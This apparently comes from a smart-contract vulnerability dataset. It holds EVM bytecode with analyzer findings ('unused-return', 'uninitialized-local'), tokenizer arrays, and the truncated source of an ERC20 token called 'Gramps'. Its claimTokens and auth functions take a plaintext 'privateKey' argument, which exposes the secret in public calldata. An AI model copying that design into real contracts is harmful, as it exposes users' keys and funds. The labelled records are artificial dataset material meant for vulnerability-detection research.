95e18d95959195960521b60448201526064016107c9565b60005b601354811015610c41576011546115ac6013838154811061159257611592612ada565b6000918252602090912001546001600160a01b0316611395565b10156115f2576115f2601382815481106115c8576115c8612ada565b6000918252602090912001546001600160a01b03166115e783856129a0565b61108b9060016129a0565b806115fc81612a69565b91505061156f565b60606001805461082990612a2e565b6001600160a01b03821633141561166c5760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c65720000000000000060448201526064016107c9565b3360008181526005602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b600a546001600160a01b031633146117025760405162461bcd60e51b81526004016107c99061291a565b600f55565b61171133836119c6565b61172d5760405162461bcd60e51b81526004016107c99061294f565b61173984848484611cd4565b50505050565b600c80546112e590612a2e565b6000818152600260205260409020546060906001600160a01b03166117cb5760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b60648201526084016107c9565b60006117d5611d07565b905060008151116117f55760405180602001604052806000815250611823565b806117ff84611d16565b600c6040516020016118139392919061272f565b6040516020818303038152906040525b9392505050565b600a546001600160a01b031633146118545760405162461bcd60e51b81526004016107c99061291a565b8051610c4190600c90602084019061236b565b600a546001600160a01b031633146118915760405162461bcd60e51b81526004016107c99061291a565b6001600160a01b0381166118f65760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107c9565b6118ff81611c82565b50565b3b151590565b60006001600160e01b031982166380ac58cd60e01b148061193957506001600160e01b03198216635b5e139f60e01b145b8061081457506301ffc9a760e01b6001600160e01b0319831614610814565b600081815260046020526040902080546001600160a01b0319166001600160a01b038416908117909155819061198d826111fd565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600260205260408120546001600160a01b0316611a3f5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016107c9565b6000611a4a836111fd565b9050806001600160a01b0316846001600160a01b03161480611a855750836001600160a01b0316611a7a846108ac565b6001600160a01b0316145b80611ab557506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b0316611ad0826111fd565b6001600160a01b031614611b385760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b60648201526084016107c9565b6001600160a01b038216611b9a5760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b60648201526084016107c9565b611ba5838383611e14565b611bb0600082611958565b6001600160a01b0383166000908152600360205260408120805460019290611bd99084906129eb565b90915550506001600160a01b0382166000908152600360205260408120805460019290611c079084906129a0565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b610c41828260405180602001604052806000815250611ecc565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b611cdf848484611abd565b611ceb84848484611eff565b6117395760405162461bcd60e51b81526004016107c9906128c8565b6060600b805461082990612a2e565b606081611d3a5750506040805180820190915260018152600360fc1b602082015290565b8160005b8115611d645780611d4e81612a69565b9150611d5d9050600a836129b8565b9150611d3e565b60008167ffffffffffffffff811115611d7f57611d7f612af0565b6040519080825280601f01601f191660200182016040528015611da9576020820181803683370190505b5090505b8415611ab557611dbe6001836129eb565b9150611dcb600a86612a84565b611dd69060306129a0565b60f81b818381518110611deb57611deb612ada565b60200101906001600160f81b031916908160001a905350611e0d600a866129b8565b9450611dad565b6001600160a01b038316611e6f57611e6a81600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b611e92565b816001600160a01b0316836001600160a01b031614611e9257611e92838261200c565b6001600160a01b038216611ea957610a52816120a9565b826001600160a01b0316826001600160a01b031614610a5257610a528282612158565b611ed6838361219c565b611ee36000848484611eff565b610a525760405162461bcd60e51b81526004016107c9906128c8565b60006001600160a01b0384163b1561200157604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290611f439033908990889088906004016127f3565b602060405180830381600087803b158015611f5d57600080fd5b505af1925050508015611f8d575060408051601f3d908101601f19168201909252611f8a91810190612684565b60015b611fe7573d808015611fbb576040519150601f19603f3d011682016040523d82523d6000602084013e611fc0565b606091505b508051611fdf5760405162461bcd60e51b81526004016107c9906128c8565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050611ab5565b506001949350505050565b6000600161201984611395565b61202391906129eb565b600083815260076020526040902054909150808214612076576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b6008546000906120bb906001906129eb565b600083815260096020526040812054600880549394509092849081106120e3576120e3612ada565b90600052602060002001549050806008838154811061210457612104612ada565b600091825260208083209091019290925582815260099091526040808220849055858252812055600880548061213c5761213c612ac4565b6001900381819060005260206000200160009055905550505050565b600061216383611395565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b6001600160a01b0382166121f25760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f206164647265737360448201526064016107c9565b6000818152600260205260409020546001600160a01b0316156122575760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000060448201526064016107c9565b61226360008383611e14565b6001600160a01b038216600090815260036020526040812080546001929061228c9084906129a0565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b50805460008255906000526020600020908101906118ff91906123df565b82805482825590600052602060002090810192821561235b579160200282015b8281111561235b5781546001600160a01b0319166001600160a01b03843516178255602090920191600190910190612328565b506123679291506123df565b5090565b82805461237790612a2e565b90600052602060002090601f016020900481019282612399576000855561235b565b82601f106123b257805160ff191683800117855561235b565b8280016001018555821561235b579182015b8281111561235b5782518255916020019190600101906123c4565b5b8082111561236757600081556001016123e0565b600067ffffffffffffffff8084111561240f5761240f612af0565b604051601f8501601f19908116603f0116810190828211818310171561243757612437612af0565b8160405280935085815286868601111561245057600080fd5b858560208301376000602087830101525050509392505050565b80356001600160a01b038116811461248157600080fd5b919050565b60006020828403121561249857600080fd5b6118238261246a565b600080604083850312156124b457600080fd5b6124bd8361246a565b91506124cb6020840161246a565b90509250929050565b6000806000606084860312156124e957600080fd5b6124f28461246a565b92506125006020850161246a565b9150604084013590509250925092565b6000806000806080858703121561252657600080fd5b61252f8561246a565b935061253d6020860161246a565b925060408501359150606085013567ffffffffffffffff81111561256057600080fd5b8501601f8101871361257157600080fd5b612580878235602084016123f4565b91505092959194509250565b6000806040838503121561259f57600080fd5b6125a88361246a565b9150602083013580151581146125bd57600080fd5b809150509250929050565b600080604083850312156125db57600080fd5b6125e48361246a565b946020939093013593505050565b6000806020838503121561260557600080fd5b823567ffffffffffffffff8082111561261d57600080fd5b818501915085601f83011261263157600080fd5b81358181111561264057600080fd5b8660208260051b850101111561265557600080fd5b60209290920196919550909350505050565b60006020828403121561267957600080fd5b813561182381612b06565b60006020828403121561269657600080fd5b815161182381612b06565b6000602082840312156126b357600080fd5b813567ffffffffffffffff8111156126ca57600080fd5b8201601f810184136126db57600080fd5b611ab5848235602084016123f4565b6000602082840312156126fc57600080fd5b5035919050565b6000815180845261271b816020860160208601612a02565b601f01601f19169290920160200192915050565b6000845160206127428285838a01612a02565b8551918401916127558184848a01612a02565b8554920191600090600181811c908083168061277257607f831692505b85831081141561279057634e487b7160e01b85526022600452602485fd5b8080156127a457600181146127b5576127e2565b60ff198516885283880195506127e2565b60008b81526020902060005b858110156127da5781548a8201529084019088016127c1565b505083880195505b50939b9a5050505050505050505050565b6001600160a01b038581168252841660208201526040810183905260806060820181905260009061282690830184612703565b9695505050505050565b6020808252825182820181905260009190848201906040850190845b818110156128715783516001600160a01b03168352928401929184019160010161284c565b50909695505050505050565b6020808252825182820181905260009190848201906040850190845b8181101561287157835183529284019291840191600101612899565b6020815260006118236020830184612703565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b600082198211156129b3576129b3612a98565b500190565b6000826129c7576129c7612aae565b500490565b60008160001904831182151516156129e6576129e6612a98565b500290565b6000828210156129fd576129fd612a98565b500390565b60005b83811015612a1d578181015183820152602001612a05565b838111156117395750506000910152565b600181811c90821680612a4257607f821691505b60208210811415612a6357634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415612a7d57612a7d612a98565b5060010190565b600082612a9357612a93612aae565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b0319811681146118ff57600080fdfea2646970667358221220d29cc065414d61f874ec1c0a5a761dfb8e6220998a935bc02f8d7f3eb7346da764736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 14142, 2620, 2581, 22025, 22394, 2629, 2050, 20958, 2063, 2683, 2497, 2575, 2581, 2546, 18939, 2497, 2487, 2094, 2692, 2278, 2692, 2546, 2683, 17465, 27814, 27421, 2546, 23352, 2050, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 14246, 2140, 1011, 1017, 1012, 1014, 1013, 1013, 2241, 2006, 23325, 15000, 2015, 3642, 1012, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1018, 1012, 2570, 1026, 1014, 1012, 1023, 1012, 1014, 1025, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 17174, 13102, 18491, 1013, 29464, 11890, 16048, 2629, 1012, 14017, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 16048, 2629, 3115, 1010, 2004, 4225, 1999, 1996, 1008, 16770, 1024, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,695
0x97308e05adaf022a33fa6f6f2ce2ec20872d8f69
// SPDX-License-Identifier: MIT // // ___ _ _ // / _ \_ __ __ _ _ __ __| |_ __ __ _ /_\ _ __ ___ ___ // / /_\/ '__/ _` | '_ \ / _` | '_ \ / _` | //_\\| '_ \ / _ \/ __| // / /_\\| | | (_| | | | | (_| | |_) | (_| | / _ \ |_) | __/\__ \ // \____/|_| \__,_|_| |_|\__,_| .__/ \__,_| \_/ \_/ .__/ \___||___/ // |_| |_| // __,__ // .--. .-" "-. .--. // / .. \/ .-. .-. \/ .. \ // | | '| / Y \ |' | | // | \ \ \ 0 | 0 / / / | // \ '- ,\.-"`` ``"-./, -' / // `'-' /_ ^ ^ _\ '-'` // | \._ _./ | // \ \ `~` / / // '._ '-=-' _.' // '~---~' // // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/security/Pausable.sol // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, _allowances[owner][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = _allowances[owner][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. */ function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; } _balances[to] += amount; emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Spend `amount` form the allowance of `owner` toward `spender`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/extensions/ERC20Burnable.sol) pragma solidity ^0.8.0; /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20Burnable is Context, ERC20 { /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { _spendAllowance(account, _msgSender(), amount); _burn(account, amount); } } // File: contracts/Gramps.sol pragma solidity ^0.8.4; // // ___ _ _ // / _ \_ __ __ _ _ __ __| |_ __ __ _ /_\ _ __ ___ ___ // / /_\/ '__/ _` | '_ \ / _` | '_ \ / _` | //_\\| '_ \ / _ \/ __| // / /_\\| | | (_| | | | | (_| | |_) | (_| | / _ \ |_) | __/\__ \ // \____/|_| \__,_|_| |_|\__,_| .__/ \__,_| \_/ \_/ .__/ \___||___/ // |_| |_| // __,__ // .--. .-" "-. .--. // / .. \/ .-. .-. \/ .. \ // | | '| / Y \ |' | | // | \ \ \ 0 | 0 / / / | // \ '- ,\.-"`` ``"-./, -' / // `'-' /_ ^ ^ _\ '-'` // | \._ _./ | // \ \ `~` / / // '._ '-=-' _.' // '~---~' // contract Gramps is ERC20, ERC20Burnable, Pausable, Ownable { uint256 public costToBuy = 1000000000000 wei; uint256 public tokenSellValue = 900000000000 wei; uint256 public reserveAmount = 100000; uint256 public reserveEth = 1000000000000000000 wei; bool public mintStatus = false; bool public claimTokensStatus = false; bool public buyTokensStatus = false; bool public sellTokensStatus = false; bool public sendTokensBackStatus = false; mapping(string => bytes32) public signatures; event tokensClaimed(address indexed _by, string indexed nftTokenId, uint _amount); event tokensBought(address indexed _by, uint256 _eth, uint256 _amount); event tokensSold(address indexed _by, uint256 _amount, uint256 amountOfETHToTransfer); constructor(uint256 initialSupply) ERC20("Gramps", "GRAMPS") { _mint(address(this), initialSupply); } // Pause function pause() public onlyOwner { _pause(); } // Unpause function unpause() public onlyOwner { _unpause(); } // Owner Mint function mint(address to, uint256 amount) public onlyOwner { require(mintStatus, "Minting is not allowed at the moment."); _mint(to, amount); } // Before Token Transfer function _beforeTokenTransfer(address from, address to, uint256 amount) internal whenNotPaused override { super._beforeTokenTransfer(from, to, amount); } // Auth // // DEVELOPED BY gallaghersean.eth // ATTENTION: If you would like to use this function in your contract, send 1 eth to gallaghersean.eth and you'll receive the rights to use the function AND 2 hours of development time to help implementing it. // (c) Copyright 2022 gallaghersean.eth All Rights Reserved // function auth(string memory nftTokenId, string memory privateKey, bytes32 newSignature) internal { require(signatures[nftTokenId] != "","Authentication failed!"); bytes32 signature = keccak256(abi.encodePacked(nftTokenId,privateKey)); require(signatures[nftTokenId] == signature,"Authentication failed!"); signatures[nftTokenId] = newSignature; } // Update Signatures function updateSignatures(string[] calldata nftTokenIds, bytes32[] calldata _signatures) public onlyOwner { for (uint256 i=0; i < nftTokenIds.length; i++) { string memory nftTokenId = nftTokenIds[i]; bytes32 signature = _signatures[i]; signatures[nftTokenId] = signature; } } // Claim Tokens function claimTokens(uint _amount, string memory nftTokenId, string memory privateKey, bytes32 newSignature) public { require(claimTokensStatus, "Claiming tokens is not active at the moment."); 